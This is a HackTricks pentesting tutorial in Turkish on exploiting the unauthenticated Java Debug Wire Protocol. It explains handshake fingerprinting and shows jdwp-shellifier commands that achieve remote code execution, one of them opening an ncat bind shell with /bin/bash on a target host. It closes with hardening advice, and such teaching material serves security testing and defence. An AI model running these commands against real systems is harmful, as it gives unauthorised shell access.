# JDWP Pentesting - Java Debug Wire Protocol
AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. * **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
## Sömürme JDWP sömürüsü, **protokolün kimlik doğrulama ve şifreleme eksikliğine** dayanır. Genellikle **8000 numaralı portta** bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" göndererek yapılır. Eğer bir JDWP hizmeti etkinse, aynı dizeyle yanıt vererek varlığını doğrular. Bu el sıkışması, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür. Süreç tanımlaması açısından, Java süreçlerinde "jdwk" dizesini aramak, etkin bir JDWP oturumunu gösterebilir. En yaygın kullanılan araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)'dır. Farklı parametrelerle kullanabilirsiniz: ```bash ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ``` `--break-on 'java.lang.String.indexOf'` kullanımının saldırıyı daha **istikrarlı** hale getirdiğini buldum. Ve eğer bir ana bilgisayara bir arka kapı yüklemek ve bunun yerine bir komut çalıştırmak için şansınız varsa, saldırı daha da istikrarlı olacaktır. ## Daha Fazla Detay **Bu, [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) adresindeki bir özetidir**. Daha fazla ayrıntı için kontrol edin. 1. **JDWP Genel Bakış**: - Paket tabanlı bir ağ ikili protokoldür, temel olarak senkroniktir. - Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında savunmasız hale getirir. 2. **JDWP El Sıkışması**: - İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Hata Ayıklayıcı (istemci) ve Hata Ayıklanan (sunucu) arasında "JDWP-Handshake" adında 14 karakterlik bir ASCII dizesi alışverişi yapılır. 3. **JDWP İletişimi**: - Mesajlar Uzunluk, Kimlik, Bayrak ve KomutSeti gibi alanlara sahip basit bir yapıya sahiptir. - KomutSeti değerleri 0x40 ile 0x80 arasında değişir ve farklı eylemleri ve olayları temsil eder. 4. **Sömürü**: - JDWP, keyfi sınıfların ve baytların yüklenmesine ve çağrılmasına izin verir, bu da güvenlik riskleri oluşturur. - Makale, Java Runtime referanslarını almak, kesme noktalarını ayarlamak ve yöntemleri çağırmak gibi beş adımdan oluşan bir sömürü sürecini detaylandırıyor. 5. **Gerçek Hayat Sömürüsü**: - Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri ShodanHQ ve GitHub gibi platformlarda arama yapılarak gerçek dünya senaryolarında keşfedilebilir ve sömürülebilir. - Sömürü betiği çeşitli JDK sürümleri üzerinde test edildi ve platform bağımsızdır, güvenilir Uzaktan Kod Yürütme (RCE) sunar. 6. **Güvenlik Sonuçları**: - İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmaları yapma ihtiyacını vurgular. ### **Referanslar:** * [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)] * [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) * [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html) * http://www.secdev.org/projects/scapy(no longer active) * [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE) * http://www.hsc-news.com/archives/2013/000109.html (no longer active) * [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt) * https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults * [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html) * [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com) * [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) * [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin! HackTricks'ı desteklemenin diğer yolları: * Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live). * Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**.